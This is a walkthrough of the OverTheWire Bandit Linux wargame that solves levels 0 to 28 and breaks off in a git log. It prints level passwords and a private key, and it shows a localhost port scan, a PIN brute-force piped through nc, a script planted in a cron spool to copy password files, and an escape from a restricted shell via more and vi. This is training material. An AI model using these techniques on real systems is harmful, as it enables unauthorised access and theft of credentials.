**Note:** You should follow this write-up with the [official](http://overthewire.org/wargames/bandit/) website open as it gives details on the goal of each challenges and some helpful material to read.

### Bandit 00 Solution <a href="#bandit-00-solution" id="bandit-00-solution"></a>

The host to which you need to connect is **bandit.labs.overthewire.org**, on port **2220**. The username is **bandit0** and the password is **bandit0**. The password for the next level is stored in a file called **readme** located in the home directory.

```
$ ssh bandit0@bandit.labs.overthewire.org -p 2220

$ ls -la
total 24
drwxr-xr-x  2 root    root    4096 Oct 16 14:00 .
drwxr-xr-x 41 root    root    4096 Oct 16 14:00 ..
-rw-r--r--  1 root    root     220 May 15  2017 .bash_logout
-rw-r--r--  1 root    root    3526 May 15  2017 .bashrc
-rw-r--r--  1 root    root     675 May 15  2017 .profile
-rw-r-----  1 bandit1 bandit0   33 Oct 16 14:00 readme
bandit0@bandit:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
```

**Explanation:** Here, you just need to read the content of the **readme** file with the command `cat`.

### Bandit 01 Solution <a href="#bandit-01-solution" id="bandit-01-solution"></a>

The password for the next level is stored in a file called **-** located in the home directory.

```
$ ssh bandit1@bandit.labs.overthewire.org -p 2220

bandit1@bandit: $ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
bandit1@bandit:~$ 
```

**Explanation:** As **’-‘** means reading from/to stdin in a shell, you need to specify a path to read the file. If you don’t specify the path, `cat` will read from *stdin* and print back your input.

### Bandit 02 Solution <a href="#bandit-02-solution" id="bandit-02-solution"></a>

The password for the next level is stored in a file called **spaces in this filename** located in the home directory.

```
$ ssh bandit2@bandit.labs.overthewire.org -p 2220

bandit2@bandit:~$ ls
spaces in this filename
bandit2@bandit:~$ cat "spaces in this filename"
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
```

**Explanation:** You can also read the file by escaping the **spaces** using backslash (**’\‘**) like the following command: `cat spaces\ in\ this\ filename`.

### Bandit 03 Solution <a href="#bandit-03-solution" id="bandit-03-solution"></a>

The password for the next level is stored in a hidden file in the **inhere** directory.

```
$ ssh bandit3@bandit.labs.overthewire.org -p 2220

bandit3@bandit:~$ ls
inhere
bandit3@bandit:~$ cd inhere/
bandit3@bandit:~/inhere$ ls
bandit3@bandit:~/inhere$ ls -la
total 12
drwxr-xr-x 2 root    root    4096 Dec 28 14:34 .
drwxr-xr-x 3 root    root    4096 Dec 28 14:34 ..
-rw-r----- 1 bandit4 bandit3   33 Dec 28 14:34 .hidden
bandit3@bandit:~/inhere$ cat .hidden 
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
```

**Explanation:** In the Linux operating system, a **hidden** file is any file that begins with a **”.”**. When a file is hidden it can not been seen with the bare `ls` command. If you need to see hidden files using the `ls` command you need to add the **-a** switch.

### Bandit 04 Solution <a href="#bandit-04-solution" id="bandit-04-solution"></a>

The password for the next level is stored in the only human-readable file in the **inhere** directory.

```
$ ssh bandit4@bandit.labs.overthewire.org -p 2220

bandit4@bandit:~$ ls
inhere
bandit4@bandit:~$ cd inhere/
bandit4@bandit:~/inhere$ file ./-file0*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data
bandit4@bandit:~/inhere$ cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
```

**Explanation:** Here, we use the `file` command with a *wildcard* on the filename to find the file containing only ASCII text.

### Bandit 05 Solution <a href="#bandit-05-solution" id="bandit-05-solution"></a>

The password for the next level is stored in a file somewhere under the **inhere** directory and has all of the following properties:

* Human-readable
* 1033 bytes in size
* **not** executable

```
$ ssh bandit5@bandit.labs.overthewire.org -p 2220

bandit5@bandit:~/inhere$ find ./inhere/ -type f -readable ! -executable -size 1033c
/home/bandit5/inhere/maybehere07/.file2
bandit5@bandit:~/inhere$ cat /home/bandit5/inhere/maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
```

**Explanation:** The `find` command is really useful when you look for a specific file. Here, we use the `-readable`, `! -executable` and `-size 1033c` parameters to find a file with the specified properties.

### Bandit 06 Solution <a href="#bandit-06-solution" id="bandit-06-solution"></a>

The password for the next level is stored somewhere on the server and has all of the following properties:

* Owned by user bandit7
* Owned by group bandit6
* 33 bytes in size

```
$ ssh bandit6@bandit.labs.overthewire.org -p 2220

$ find / -type f -size 33c -group bandit6 -user bandit7 2>&1 | grep -v "Permission denied"
/var/lib/dpkg/info/bandit7.password
find: ‘/proc/11148/task/11148/fdinfo/6’: No such file or directory
find: ‘/proc/11148/fdinfo/5’: No such file or directory
bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
```

**Explanation:** Same as the previous level except that we redirect the files we cannot read to **stderr**. Also we tell `find` to look into the **root** of the file system as we don’t know where the file is located.

### Bandit 07 Solution <a href="#bandit-07-solution" id="bandit-07-solution"></a>

The password for the next level is stored in the file **data.txt** next to the word **millionth**.

```
$ ssh bandit7@bandit.labs.overthewire.org -p 2220

bandit7@bandit:~$ find / -name "data.txt" -exec grep -H 'millionth' {} \; 2>&1 | grep -v "Permission denied"
/home/bandit7/data.txt:millionth	cvX2JJa4CFALtqS87jk27qwqGhBM9plV
```

**Explanation:** Here we use the `-exec` argument of `find` with the `grep` command to find the file containing the word **millionth**.

### Bandit 08 Solution <a href="#bandit-08-solution" id="bandit-08-solution"></a>

The password for the next level is stored in the file **data.txt** and is the only line of text that occurs only once.

```
$ ssh bandit8@bandit.labs.overthewire.org -p 2220

bandit8@bandit:~$ sort data.txt | uniq -c | grep "1 "
      1 UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
```

**Explanation:** First we use `sort` to sort alphabetically the data in the **data.txt** file then, we use `uniq` to count the number or occurances and find the line of text that occurs only once.

### Bandit 09 Solution <a href="#bandit-09-solution" id="bandit-09-solution"></a>

The password for the next level is stored in the file **data.txt** in one of the few human-readable strings, beginning with several ‘=’ characters.

```
$ ssh bandit9@bandit.labs.overthewire.org -p 2220

bandit9@bandit:~$ strings data.txt | grep "^=="
========== password
========== isa
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
```

**Explanation:** The `strings` command helps us to find the human-readable strings and then `grep` the strings beginning with several **‘=’** characters.

### Bandit 10 Solution <a href="#bandit-10-solution" id="bandit-10-solution"></a>

The password for the next level is stored in the file **data.txt**, which contains *base64* encoded data.

```
$ ssh bandit10@bandit.labs.overthewire.org -p 2220

bandit10@bandit:~$ ls
data.txt
bandit10@bandit:~$ cat data.txt 
VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg==
bandit10@bandit:~$ cat data.txt | base64 -d
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
```

**Explanation:** Read the **data.txt** and redirect the output to the `base64` command. The **-d** argument is used to decode the string.

### Bandit 11 Solution <a href="#bandit-11-solution" id="bandit-11-solution"></a>

The password for the next level is stored in the file **data.txt**, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions.

```
$ ssh bandit11@bandit.labs.overthewire.org -p 2220

bandit11@bandit:~$ cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
```

**Explanation:** The `tr` command is used to translate the first set of characters **‘A-Za-z’** to **‘N-ZA-Mn-za-m’** which is a rotation of 13 positions of the first set.

### Bandit 12 Solution <a href="#bandit-12-solution" id="bandit-12-solution"></a>

The password for the next level is stored in the file **data.txt**, which is a hexdump of a file that has been repeatedly compressed.

```
$ ssh bandit12@bandit.labs.overthewire.org -p 2220

# Create a working folder
bandit12@bandit:~$ mkdir /tmp/ax
bandit12@bandit:~$ cp data.txt /tmp/ax
bandit12@bandit:~$ cd /tmp/ax
# Convert hexdump to binary
bandit12@bandit:/tmp/ax$ xxd -r data.txt data.out
bandit12@bandit:/tmp/ax$ file data.out
data.out: gzip compressed data, was "data2.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix
bandit12@bandit:/tmp/ax$ mv data.out data.gz
bandit12@bandit:/tmp/ax$ gzip -d data.gz 
bandit12@bandit:/tmp/ax$ file data
data: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/ax$ bzip2 -d data
bzip2: Can\'t guess original name for data -- using data.out
bandit12@bandit:/tmp/ax$ file data.out
data.out: gzip compressed data, was "data4.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix
bandit12@bandit:/tmp/ax$ mv data.out data.gz
bandit12@bandit:/tmp/ax$ gzip -d data.gz
bandit12@bandit:/tmp/ax$ file data
data: POSIX tar archive (GNU)
bandit12@bandit:/tmp/ax$ tar -xf data
bandit12@bandit:/tmp/ax$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@bandit:/tmp/ax$ tar -xf data5.bin
bandit12@bandit:/tmp/ax$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/ax$ bzip2 -d data6.bin
bzip2: Can\'t guess original name for data6.bin -- using data6.bin.out
bandit12@bandit:/tmp/ax$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
bandit12@bandit:/tmp/ax$ tar -xf data6.bin.out
bandit12@bandit:/tmp/ax$ file data8.bin
data8.bin: gzip compressed data, was "data9.bin", last modified: Tue Oct 16 12:00:23 2018, max compression, from Unix
bandit12@bandit:/tmp/ax$ mv data8.bin data8.gz
bandit12@bandit:/tmp/ax$ gzip -d data8.gz
# Finally
bandit12@bandit:/tmp/ax$ file data8
data8: ASCII text
bandit12@bandit:/tmp/ax$ cat data8
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
```

**Explanation:** The `-r` switch of `xxd` convert an hexdump to binary. Then we use the `file` command to find out which compression tool has been used and recursively decompress the files with the right tool.

### Bandit 13 Solution <a href="#bandit-13-solution" id="bandit-13-solution"></a>

The password for the next level is stored in **/etc/bandit\_pass/bandit14** and can only be read by user **bandit14**. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level.

```
$ ssh bandit13@bandit.labs.overthewire.org -p 2220

bandit13@bandit:~$ ls -la
total 24
drwxr-xr-x  2 root     root     4096 Oct 16 14:00 .
drwxr-xr-x 41 root     root     4096 Oct 16 14:00 ..
-rw-r--r--  1 root     root      220 May 15  2017 .bash_logout
-rw-r--r--  1 root     root     3526 May 15  2017 .bashrc
-rw-r--r--  1 root     root      675 May 15  2017 .profile
-rw-r-----  1 bandit14 bandit13 1679 Oct 16 14:00 sshkey.private
bandit13@bandit:~$ exit
logout
Connection to bandit.labs.overthewire.org closed.

# On your local machine
$ scp -P 2220 bandit13@bandit.labs.overthewire.org:sshkey.private .
$ chmod 400 sshkey.private 
$ ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

bandit14@bandit:~$ 
```

**Explanation:** Here, we download the private key to login to the next level. The `scp` command will do the trick.

### Bandit 14 Solution <a href="#bandit-14-solution" id="bandit-14-solution"></a>

The password for the next level can be retrieved by submitting the password of the current level to port **30000** on localhost.

```
$ ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

bandit14@bandit:~$ cat /etc/bandit_pass/bandit14 | nc localhost 30000
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr
```

**Explanation:** After login to **bandit14** with the private key, you can redirect the content of **/etc/bandit\_pass/bandit14** to netcat using the `nc` command.

### Bandit 15 Solution <a href="#bandit-15-solution" id="bandit-15-solution"></a>

The password for the next level can be retrieved by submitting the password of the current level to port **30001** on localhost using SSL encryption.

```
$ ssh bandit15@bandit.labs.overthewire.org -p 2220

bandit15@bandit:~$ cat /etc/bandit_pass/bandit15 | openssl s_client -connect localhost:30001 -quiet
depth=0 CN = bandit
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = bandit
verify return:1
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd
```

**Explanation:** Here, we send the content of **/etc/bandit\_pass/bandit15** to `openssl`. The `s_client` implements a generic SSL/TLS client which can establish a transparent connection to a remote server speaking SSL/TLS.

### Bandit 16 Solution <a href="#bandit-16-solution" id="bandit-16-solution"></a>

The credentials for the next level can be retrieved by submitting the password of the current level to a port on **localhost** in the range **31000 to 32000**. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.

```
$ ssh bandit16@bandit.labs.overthewire.org -p 2220

bandit16@bandit:~$ for i in {31000..32000} ; do
>   SERVER="localhost"
>   PORT=$i
>   (echo  > /dev/tcp/$SERVER/$PORT) >& /dev/null &&
>    echo "Port $PORT open"
> done
Port 31518 open
Port 31790 open


bandit16@bandit:~$ cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31790 -quiet
depth=0 CN = bandit
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = bandit
verify return:1
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----
bandit16@bandit:~$ exit
logout
Connection to bandit.labs.overthewire.org closed.
```

**Explanation:** You can write a simple port scanner in **bash** and try to connect to the open ports with `openssl`.

### Bandit 17 Solution <a href="#bandit-17-solution" id="bandit-17-solution"></a>

There are 2 files in the homedirectory: **passwords.old** and **passwords.new**. The password for the next level is in **passwords.new** and is the **only** line that has been changed between passwords.old and passwords.new

```
$ ssh -i sshkey bandit17@bandit.labs.overthewire.org -p 2220

bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< 6vcSC74ROI95NqkKaeEC2ABVMDX9TyUr
---
> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
```

**Explanation:** The `diff` command will compare 2 files line by line and show you the differences.

### Bandit 18 Solution <a href="#bandit-18-solution" id="bandit-18-solution"></a>

The password for the next level is stored in a file **readme** in the **homedirectory**. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.

```
$ ssh bandit18@bandit.labs.overthewire.org -p 2220
Byebye !
Connection to bandit.labs.overthewire.org closed.

$ ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat readme"
bandit18@bandit.labs.overthewire.org's password: 
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
```

**Explanation:** You can pass the command you want to execute directly to the `ssh` command to bypass the issue.

### Bandit 19 Solution <a href="#bandit-19-solution" id="bandit-19-solution"></a>

To gain access to the next level, you should use the **setuid** binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit\_pass), after you have used the setuid binary.

```
$ ssh bandit19@bandit.labs.overthewire.org -p 2220

bandit19@bandit:~$ ./bandit20-do 
Run a command as another user.
  Example: ./bandit20-do id
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20 
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
```

**Explanation:** Nothing to explain here, pretty straightforward.

### Bandit 20 Solution <a href="#bandit-20-solution" id="bandit-20-solution"></a>

There is a **setuid** binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

```
$ ssh bandit20@bandit.labs.overthewire.org -p 2220

# Terminal 1
bandit20@bandit:~$ nc -lp 31337 < /etc/bandit_pass/bandit20
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

# Terminal 2
bandit20@bandit:~$ ./suconnect 31337
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
```

**Explanation:** I suggest you open 2 terminals. Set a listener in the first one and try to connect in the second one. The password should appear in your first terninal.

### Bandit 21 Solution <a href="#bandit-21-solution" id="bandit-21-solution"></a>

A program is running automatically at regular intervals from `cron`, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

```
$ ssh bandit21@bandit.labs.overthewire.org -p 2220

bandit21@bandit:~$ ls -la /etc/cron.d/
total 24
drwxr-xr-x  2 root root 4096 Oct 16 14:00 .
drwxr-xr-x 88 root root 4096 Oct 16 14:00 ..
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16 14:00 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
```

**Explanation:** Just read the **cronjob\_bandit22.sh** script executed by `cron`. You’ll see where the password will be stored.

### Bandit 22 Solution <a href="#bandit-22-solution" id="bandit-22-solution"></a>

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

```
$ ssh bandit22@bandit.labs.overthewire.org -p 2220

bandit22@bandit:~$ ls -la /etc/cron.d/
total 24
drwxr-xr-x  2 root root 4096 Oct 16 14:00 .
drwxr-xr-x 88 root root 4096 Oct 16 14:00 ..
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16 14:00 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:~$ echo "I am user bandit23" | md5sum
8ca319486bfbbc3663ea0fbe81326349  -
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
```

**Explanation:** The script tells us that the file where the password will be stored is an md5 hash. You can compute the hash using the `md5sum` command and retrieve the content of the file.

### Bandit 23 Solution <a href="#bandit-23-solution" id="bandit-23-solution"></a>

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

```
$ ssh bandit23@bandit.labs.overthewire.org -p 2220

bandit23@bandit:~$ ls -la /etc/cron.d/
total 24
drwxr-xr-x  2 root root 4096 Oct 16 14:00 .
drwxr-xr-x 88 root root 4096 Oct 16 14:00 ..
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16 14:00 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16 14:00 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
	echo "Handling $i"
	timeout -s 9 60 ./$i
	rm -f ./$i
    fi
done

bandit23@bandit:~$ mkdir /tmp/alex1234
bandit23@bandit:~$ cd /tmp/alex1234
bandit23@bandit:/tmp/alex1234$ vi script.sh

#!/bin/sh
#cat /etc/bandit_pass/bandit24 >> /tmp/alex1234/bandit24pass

bandit23@bandit:/tmp/alex1234$ chmod 777 script.sh 
bandit23@bandit:/tmp/alex1234$ cp script.sh /var/spool/bandit24
bandit23@bandit:/tmp/alex1234$ chmod 777 /tmp/alex1234/
# Wait 1 minute
bandit23@bandit:/tmp/alex1234$ ls
bandit24pass  script.sh
bandit23@bandit:/tmp/alex1234$ cat bandit24pass 
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
```

**Explanation:** The `cron` script execute and delete all scripts in **/var/spool/bandit24**. We just need to write our own script, copy it in **/var/spool/bandit24** and wait for the result.

### Bandit 24 Solution  <a href="#bandit-24-solution-coming-soon" id="bandit-24-solution-coming-soon"></a>

A daemon is listening on port **30002** and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

```
$ ssh bandit24@bandit.labs.overthewire.org -p 2220

# Just so you can keep going...
uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
```

**Note:** After multiple attempts, I didn’t found a valid solution yet. Still working on a viable script.\
\
This works:(by @rvrheenen)

```
echo "" > pins && for i in {0000..9999}; do echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i >> pins; done && cat pins | nc localhost 1
30002
```

This basic idea is creating a dictionary first and then transmit it to the port. A good way!

### Bandit 25 & 26 Solution <a href="#bandit-25--26-solution" id="bandit-25--26-solution"></a>

Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

**Note:** We will solve Bandit 25 & 26 in this section.

```
$ ssh bandit25@bandit.labs.overthewire.org -p 2220

cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

bandit25@bandit:~$ ls
bandit26.sshkey
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost
  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/ 
Connection to localhost closed.
bandit25@bandit:~$ 

# Reduce the size of the terminal to enable 'more' to paging through text one screenful at a time. 
# Max height = 6

  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
--More--(83%)
# Press 'v' to start vi
# Then, in vi type ':e /etc/bandit_pass/bandit26'
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
~                                                                                                                                        
~                                                                                                                                        
~                                                                                                                                        
~                                                                                                                                        
"/etc/bandit_pass/bandit26" [readonly] 1L, 33C 
```

Now, as we already have a shell using `vi`, we can get the password for level 27.

```
:set shell=/bin/bash
:!ls -la
total 36
drwxr-xr-x  3 root     root     4096 Oct 16 14:00 .
drwxr-xr-x 41 root     root     4096 Oct 16 14:00 ..
-rwsr-x---  1 bandit27 bandit26 7296 Oct 16 14:00 bandit27-do
-rw-r--r--  1 root     root      220 May 15  2017 .bash_logout
-rw-r--r--  1 root     root     3526 May 15  2017 .bashrc
-rw-r--r--  1 root     root      675 May 15  2017 .profile
drwxr-xr-x  2 root     root     4096 Oct 16 14:00 .ssh
-rw-r-----  1 bandit26 bandit26  258 Oct 16 14:00 text.txt
:!./bandit27-do cat /etc/bandit_pass/bandit27                                                                          
3ba3118a22e93127a4ed485be72ef5ea
```

**Explanation:** In the first part we figure that the fake shell read a file with `more` and exit. As the content of the file is not long enough, we need to reduce the size of the terminal to enable `more` to paging through text one screenful at a time. Once `more` is running we can type **v** to open `vi` and execute command through that tool. Same thing for the second part except the `bandit27-do` command will give us the password.

### Bandit 27 Solution <a href="#bandit-27-solution" id="bandit-27-solution"></a>

There is a git repository at **ssh://bandit27-git\@localhost/home/bandit27-git/repo**. The password for the user **bandit27-git** is the same as for the user **bandit27**.

```
$ ssh bandit27@bandit.labs.overthewire.org -p 2220

bandit27@bandit:~$ mkdir /tmp/repo123
bandit27@bandit:~$ cd /tmp/repo123
bandit27@bandit:/tmp/repo123$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo.git/
Cloning into 'repo'...
bandit27-git@localhost password: 

remote: Counting objects: 3, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/repo123$ ls
repo
bandit27@bandit:/tmp/repo123$ cd repo/
bandit27@bandit:/tmp/repo123/repo$ ls
README
bandit27@bandit:/tmp/repo123/repo$ cat README 
The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2
```

**Explanation:** You just need to create a temporary folder in **/tmp/** and clone the repo. Inside the repo, you’ll find the password.

### Bandit 28 Solution <a href="#bandit-28-solution" id="bandit-28-solution"></a>

There is a git repository at **ssh://bandit28-git\@localhost/home/bandit28-git/repo**. The password for the user **bandit28-git** is the same as for the user **bandit28**.

```
$ ssh bandit28@bandit.labs.overthewire.org -p 2220

bandit28@bandit:~$ mkdir /tmp/repo1337
bandit28@bandit:~$ cd /tmp/repo1337
bandit28@bandit:/tmp/repo1337$ git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
Cloning into 'repo'...
bandit28-git@localhost password: 

remote: Counting objects: 9, done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
bandit28@bandit:/tmp/repo1337$ ls
repo
bandit28@bandit:/tmp/repo1337$ cd repo/
bandit28@bandit:/tmp/repo1337/repo$ ls
README.md
bandit28@bandit:/tmp/repo1337/repo$ cat README.md 
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx

bandit28@bandit:/tmp/repo1337/repo$ git log
commit 073c27c130e6ee407e12faad1dd3848a110c4f95
Author: Morla Porla <morla@overthewire.org>
Date:   Tue Oct 16 14:00:39 2018 +0200

    fix info leak

commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Author: Morla Porla <morla@overthewire.org>
Date:   Tue Oct 16 14:00:39 2018 +0200

    add missing data

commit b67405defc6ef44210c53345fc953e6a21338cc7
